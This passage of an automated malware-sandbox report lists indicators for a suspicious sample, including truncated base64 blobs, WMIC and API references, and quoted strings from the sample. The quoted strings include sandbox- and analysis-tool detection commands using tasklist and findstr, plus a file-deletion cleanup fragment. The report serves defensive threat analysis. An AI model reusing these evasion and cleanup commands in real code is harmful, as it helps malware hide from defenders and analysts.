228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "qqsWjqqsoyeqqp1gqqujJ6qqnSaqq6MnqqqdT6qroyeqqpKpqqujJ6qqlgaqq6g/qqqS2aqrqD+qqpOCqquoP6qqkUGqq6g/qqqS......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "N9yqqkVNqrqrKqG8rBCqr6qqN9yqqkSgqrqrKqG+rBOqr6qqqqqqqq71qrqrqaG4rBKqr6qqqqqqqqlOqrqrqaGjrByqr6qqN9yq......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "qrqrqaiGq/qqr6qqC8SqqyKkqrqqq6iMq+Sqr6qq8lOqqOSlqrqqq6iOq+aqr6qqqqqqqq69qrqrqaiLq+Cqr6qqqqqqqo2ZqrqL......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "qqyqqgT+qqqj8qqsqqqqqqqqfvOqkaqqBP6qqjPIqqyqqgT+qqq7+aqsqqoE/qqrjMCqrKqqBP6qqgmZqqyqq4dGqqo56aqsqqoE......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "+SQ/wd8QcaDH9hgf2lLWmriiuUK+HQdB06dJ0nT81zXNTSrnQtjCFziGPOG2MaEYs6DLCYiIUSM7SgUuW7o6OltUjpC78AkpOlcw......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "tICuqqNf16moiICuqqNf0ai0gLysqrsigqiAvaiHoKqsrsW8rqqjXdGovIauqqNd0agogKyuqqNe18C8qKCuqqNe0ai7qqqjqqqq......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "qWfZ2qpx/tihh6iqqDXfrdCgqqjZ2dqqc+TYjKZ0oayqu+GCrqqjDNGoob6gqq9Zgq65j66qox3RqNCgqqkv2dqqeGPYoYagqqqV......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "rqqjOtGooKqsnMWgqqvN2aqqqhSKqqqqRYquqqM60aigqqyfxbOuqqM60aigqqyexbKuqqM60aigqqyYgqigqqyZxa6qoz7RqKCq......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "hKpfKqrYqqqrqqsbqapYKqrYqqqqqrargKyquqPFvaiuqqJ70ainhq6qonvRqKCqq+jFr7ugqqgMxay7VVVVjZOgqq9Wxby8rqqi......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "gaCqr03Fq6qrnCagqq9LgqOtjoGgqq9Nxauqq5wmoKqvRIKjrZ2BoKqvTcWrqqucJqCqr0eCo63ggaCqr03Fq6qrnCagqq9GgqOt......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "CMWgqqgLgr2GrKqkcYKuqqLmKqtUsqCqrwXFoKqoC4K7qqj7qqqrY6qumrGqqoCBqqprgqmuqqLv1JiArqqi7CqsqqR+2YSArqqi......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "oKqrS4KpqJyAoKqpOMXDJKm8qa6qrebRqOyArqqt59euqK6qrebXqaigqqvlgqj8gK6qrefRqLSqqqqqoqqIiKqqqqiqqrqrqoB2......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "r+fFqaisooasoK6qrbbRqLuqqJGqqqq5qqmauaqAoKqv5sWpqKyihqygrqqtsdGou6qokKqqqrmqqZq5qoCsqqGfgqmuqq2w0aic......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "0amuqqxe0ajUgK6qrF/Xrqiuqqxe16molICuqqx9KquqqownqqqqVYrogKyqoZqCrKqhkYKquKyqoZCCu6qqzqqqqriqqJq5qqqA......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "h6mgqqqGgqi7qqv3qqqqx6qomrmqgL2ArKqgkYKsqq+SgqCqqE7Fqai4h6yqoLeCqNiArqqsxNGotICsqqPUxamuqqzH0aicgKyq......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "oKqum8WpoKqumtSuqqzC0aiAoKquBMXNqaCqrgfUrqqswtGouZrVtamymCq1qYCsqqCLgqCqrs3UqICsqqCLgqCqrgbUqICsqqCL......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "0ai0gK6qrOzXqaisqqNXgqinhqCqrrGCqa6qrOzRqNiArqqs7NGotICuqqzv0ai0gK6qrO7XqaisqqNXgqisqqJ/gqm5hKmuqqzu......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "rauOyKpoqqiqqrqrqqqArbt2rKqvXoKirXStua74vaKk//Ksqq8cxaLmraStpKyqowaCr6yGraOHrKqjC4K+vL28vailr728oqi2......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "lYKsqqOXxam7qqtyqqqor6qsmrGqqoCipqCqrsfFrK2ur6H1VLWtr5m9rKqj88WpocqqqquqivVVVVXViqCqrsbFrKCsqqPUgqCq......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "qhtc2Luqq2Kqqqosqqyasauqqqupqvunqu6qqqqququqqqqAqnSMqXSsqqOsgqyqolCCqKyqok+CqbKorKqiQYK9qKyqo6KCvais......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "hqyqomyCsqi7qqsUqqqqyKqvmrmqqoCsqqOmxa6prqqvbtGorqqvadGo+IC8dYesqqL4gqq4gL2omamsqqNyxa2hqKqrCt6sqqL7......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "Q4Kuqq9u0aigqqhOxbG7sbkwsLuzu6qqqJGSsLm8s7mku6W5vKS5oKquusWytaiBnrWuh6Ouqq9u0ainuayqoufZprm+pvW9oq6G......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "vnqpoayqoLjFqaCsqqC4xamsqqDixamsqq2Cxa6prqqvI9Gou6qr9aqqqgWqrZq5qqqqgKyqrY3Fvqmuqq8j0aisqqCVxaCqqWOC......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "qqu73jCiu66qrzbRqKm8hquqq7vfMKK7rqqvNtGorKqg6cW8rKqtTYKorKnCgaK5vKyqoO/FvKKprKqg6cW8rKqtTYKorKm8h6yq......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "xa2prKqgmMWgqqloxdqqLkbYrKqgysWgqqqCgqiqq+x6qamsqqCDxamsqqCexamhrKqgxNmsqqDKxaCqqoKCqKqr5nqpqaCsqqCG......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "qqhDgr6uu665rKqj1cW8oKqqgoKrqqqVeqj7rLv7rLmPpo++rqSvgKKohqCqq7yCrqCqqFnF+q6kuIagqqs6gr76rqS3hqCqq7yC......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "o7msqqC4xamiuaiqqy/erKqi+4KtuKqqq62SrbmsqqLtxayqouaCoq2suayqoLjFqayqoIDFr7uprKqgh8WsqqDKxaCqqoKCq6qq......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "qKyqrSqCrqi7qqv3qqqqEKqpmrmqqqqqpqu99qoRqqiqqqqqoqulg6pMqqiqqqqqraoNhKrTqqiqqoKrqqqArruAoqCqqRXFqXag......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "rrvysqyjNjvysqyj8r2so665O/K9rKM2rrvys6yjNjvys6yjrKOuuTuso6yqrIuCrKOtp66qr47RqaHzsPOsrqqvj9Gpqqqrr5Ks......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "gr6uqaiA0Kyqr2yCqIDlSqq4oKyqrxWCqIDGrKqvfoKovpmxraaEva2hrqqvp9Gou6qrl6qqqoCqqJq5qoCsqq9Jgqisqq/S2amc......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "gICgqqhPxZ61qaiAgBeHrGyYwySoraHyva2gvQij872tqQgw872tqa2ppzCtqTSi872tqDQ+872tqK2opj6tqIybPq2oPvO9raie......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "hquqqr7fqKyqr1aCqaKgtayqrLOCqayqrIbFrbuprKqvVoKpsrS8h6O7rKqsiIKporusqq9Wgqm8s6uBsKmHo7uiuayqr+HFo7it......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "qqp71Luqq6iqqqqcqqyauauqqqugqiyQquaqqqqququqqqqAo4Cuu6iqqlS/VK64qnSMrKqugoKtjKB0vXSngaqqwIKio4agqqp9......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "raKm8r2idZjDJK67r7uvufK9r7uAvaiGrKqutIKsu6OsuTCvu667s4GvubyuuaynMKKtm4GmvKGgqqpxgtqqqKfYoKqqDIKPtaAI......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "u665oKqq1MWto4CGo6egqqgmxb2ioKqoBtSm2qqV2Nih2qqV+tigsruqqn2qqqrKqq6asauqqquvqt/fqqqqqqqququArKp0oLyM......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "qKqqo79UqbiouKiqqq2/VKi4q7iuqqqh172ruKiqqqy/VKu4vI+oqqqsJ727qqpqqqqqKaqtmrmqqqqAjKyqqr2CoKqqg4KgqqqC......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "0bWPCNqqhTvY0LWPCNqqhSHY07WPCNqqhS/Y0rWPCNqqhdXY3bWPCNqqhdPY3LWPCNqqhdnY37WPCNqqhcfY3rWPCNqqhc3Y2bWP......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "qj+CoKqqPoKgqqo52aC7oKqqPoKgqqo22aK7oKqqIdmvu6inu66qqzTRqKqqLCXyo62uqqs+0aj+gQigqqojxcOuqqs/0aiqqi4l......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "qqqqQJOBqqrjgqCqqv3ZrKqonKxUoq6uqqv+16CqqhzFraKmrKqon9mqqqu5kqGgqqofxayqqJqCqaiAoKqotMWsrYegqqrugqmg......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "rLusu664wySupK6kraerqqqMJ6270KCqq0rZoKqqxYKrqqoFJqK72qq1S9i9hqK7ormsqqiigrytuLy+wySsu6y7rrjDJK6krqSt......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "gK6qqlEqrKqrHtmEq6qqpaqqqo6qqqvzqqqr86qqqqqqqqqqqqq266qqgKp0gaqqscWsqqexxaCqqoeCoKqq2sWt2qqyNdiPrKqn......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "xaqqq16KrqqqTNGojpq8rqqqTdGoo4WgtaCqq+7FrqqqT9GoqoCqqqpokKyqq92CrqqoT9Sgqqvpxa6qqkPRqLuqqueqqqpDqq6a......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "qqmauaqqqoC9gKlUvqiqqJjfqaCHqKqomd+puIeoqqib36nYgK6qqmPXqaiuqqpi172olICuqqpt16morqqqbNe9qJSqqqqqqqqq......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "0aigu6iguayqpsbFo7ujuayqpsLZvPKsqqpIgqiuqqoG0aiuqqoI0ajOma6qqgbRqPOsqqpIgqiuqqoA0aiuqqoB1/Oiu66qqgHR......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "qtmCw66qqvzRqKqqtyWnu667oKqqP4Kgqqo+gqCqqjnZoLugqqo+gqCqqjbZorugqqoh2a+7qKe7rqqq9dGoqqq1JfKjra6qqv/R......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin] Contains long base64 encoded string "qqqqxaqvmrGrqqqlp6r19aqqqqqqqrqrqqqArap0obz7oKqq2sWirqandKG9+9qqqJPYrrJ0obz72qqvq9iuoYesqqksgqmshnSh......." in [Source : 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin]42:Teae,Found string "%WINDIR%\System32\wbem\WMIC.exe" (Indicator: "wmic.exe"; in Source: "00000000-00001908-00000BC0-1507165079") Found string "%WINDIR%\System32\Wbem\WMIC.exe" (Indicator: "wmic.exe"; in Source: "00000000-00001908-00000C47-4525867698") Found string "WMIC.exe" (Indicator: "wmic.exe"; in Source: "00000000-00002452-00000BC0-1508104162") Found string "wmic.exe" (Indicator: "wmic.exe"; in Source: "00000000-00002452.00000000.161068.9FEFB000.00000002.mdmp") Found string "C:\WINDOWS\System32\Wbem\WMIC.exe" (Indicator: "wmic.exe"; in Source: "00000000-00002452.00000000.161068.A3E60000.00000004.mdmp") Found string ":\WINDOWS\System32\Wbem\WMIC.exe" (Indicator: "wmic.exe"; in Source: "00000000-00002452.00000000.161068.A3E60000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\wbem\WMIC.exe" (Indicator: "wmic.exe"; in Source: "00000000-00002452.00000000.161068.A3E60000.00000004.mdmp") Found string "UEST> diskdrive get Model DESKTOP-FVVF82Aroot\cimv2root\cliIMPERSONATEPKTPRIVACYms_409ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AON" (Indicator: "root\cimv2"; in Source: "00000000-00002452.00000000.161068.A3EF1000.00000004.mdmp") Found string "MAND SEQUENCENUM="1" ISSUEDFROM="DESKTOP-FVVF82A" STARTTIME="01-23-2026T21:06:53" EVERYCOUNT="0"> diskdrive get Model DESKTOP-FVVF82Aroot\cimv2root\cliIMPERSONATEPKTPRIVACYms_409ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AON" (Indicator: "root\cimv2"; in Source: "00000000-00002452.00000000.161068.A3EF1000.00000004.mdmp") Found string " diskdrive get Model DESKTOP-FVVF82Aroot\cimv2root" (Indicator: "root\cimv2"; in Source: "00000000-00002452.00000000.161068.A3EF1000.00000004.mdmp") Found string "C:\WINDOWS\System32\Wbem\WMIC.exe" (Indicator: "wmic.exe"; in Source: "00000000-00005428.00000000.161402.22DC0000.00000004.mdmp") Found string ":\WINDOWS\System32\Wbem\WMIC.exe" (Indicator: "wmic.exe"; in Source: "00000000-00005428.00000000.161402.22DC0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\wbem\WMIC.exe" (Indicator: "wmic.exe"; in Source: "00000000-00005428.00000000.161402.22DC0000.00000004.mdmp") Found string "UEST> diskdrive get Model DESKTOP-FVVF82Aroot\cimv2root\cliIMPERSONATEPKTPRIVACYms_409nul 2>&1 & del /f /q \"%b64file%\" >nul 2>&1\" >nul 2>&1\" (Indicator: \"\"ping\"; File: \"228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"nslookup: WSAStartup:%0\" (Indicator: \"WSAStartup\"; Source: \"00000000-00002452.00000000.161068.A6650000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"Handle %1 created by InternetOpenURL: SessionHandle=%2,URL=%4, Headers=%6, Flags=%7\" (Indicator: \"InternetOpen\"; Source: \"00000000-00002452.00000000.161068.A6650000.00000002.mdmp\")\n Found reference to API \"Handle %1 created by InternetConnect: SessionHandle=%2, Server=%4:%5, %7, Flags=%8\" (Indicator: \"InternetConnect\"; Source: \"00000000-00002452.00000000.161068.A6650000.00000002.mdmp\")\n Found reference to API \"Request handle %1 created by HttpOpenRequest: ConnectionHandle=%2, %4, Target=%6, Ver=%8, Referrer=%10, Media types=%12, Flags=%13\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00002452.00000000.161068.A6650000.00000002.mdmp\")\n Found reference to API \"nslookup: WSAStartup:%0\" (Indicator: \"WSAStartup\"; Source: \"00000000-00002452.00000000.161068.A6650000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a HTTP or FTP session (API string)","description":"Found reference to API \"Handle %1 created by InternetConnect: SessionHandle=%2, Server=%4:%5, %7, Flags=%8\" (Indicator: \"InternetConnect\"; Source: \"00000000-00002452.00000000.161068.A6650000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-538","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"Request handle %1 created by HttpOpenRequest: ConnectionHandle=%2, %4, Target=%6, Ver=%8, Referrer=%10, Media types=%12, Flags=%13\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00002452.00000000.161068.A6650000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"Found reference to API \"AppendData (or AddSubdirectory or CreatePipeInstance)\" (Indicator: \"CreatePipe\"; Source: \"00000000-00002452.00000000.161068.A6650000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Mail transfer protocol","description":"$36","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-499","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"Handle %1 created by InternetOpenURL: SessionHandle=%2,URL=%4, Headers=%6, Flags=%7\" (Indicator: \"InternetOpen\"; Source: \"00000000-00002452.00000000.161068.A6650000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$37","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$38","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$39","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"Found URL \"http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan\" - Source: \"00000000-00002452.00000000.161068.55282000.00000002.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detecting PowerShell file matched on file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Encryption algorithm","description":"YARA signature for encryption algorithm process \"00000000-00002452\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":7,"id":"yara-208","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Remote Access Related","name":"Able to configure Windows Remote Management service","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1133","relevance":1,"id":"string-909","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00002452.00000000.161068.55282000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegOpenKeyExW\" in \"00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp\"\n Found registry query API: \"RegQueryValueExW\" in \"00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"WMIC.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"WMIC.exe\" called \"GetComputerNameW\" (UID: 00000000-00002452)\n \"WMIC.exe\" called \"GetComputerNameW\" (UID: 00000000-00005428)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetCurrentProcessId\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00002452.00000000.161068.55282000.00000002.mdmp\")\n Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00002452.00000000.161068.55282000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00002452.00000000.161068.55282000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00002452.00000000.161068.55282000.00000002.mdmp\")\n Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp\")\n Found reference to API \"GetCurrentProcessId\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate running processes using Tasklist","description":"Observed string: \"tasklist 2>nul | findstr /i \"procmon\" >nul 2>&1\" (Indicator: \"tasklist \") in Source: 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin\n Observed string: \"tasklist 2>nul | findstr /i \"vmtoolsd\" >nul 2>&1\" (Indicator: \"tasklist \") in Source: 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin\n Observed string: \"tasklist 2>nul | findstr /i \"vboxservice\" >nul 2>&1\" (Indicator: \"tasklist \") in Source: 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin\n Observed string: \"tasklist 2>nul | findstr /i \"wireshark\" >nul 2>&1\" (Indicator: \"tasklist \") in Source: 228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin\n Observed string: \"tasklist.exe\" [Source: 00000000-00002452.00000000.161068.A6650000.00000002.mdmp]\n Observed string: \"tasklist.exe.mui\" [Source: 00000000-00002452.00000000.161068.A6650000.00000002.mdmp]","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-517","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00002452.00000000.161068.55282000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00002452.00000000.161068.55282000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005428.00000000.161402.9FEDE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00002452.00000000.161068.55282000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6973e2cc6005f4a2fc0be0b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve files based on search patterns","description":"Found string \"WHERE SchemaOnly\" (Indicator: \"where \"; Source: 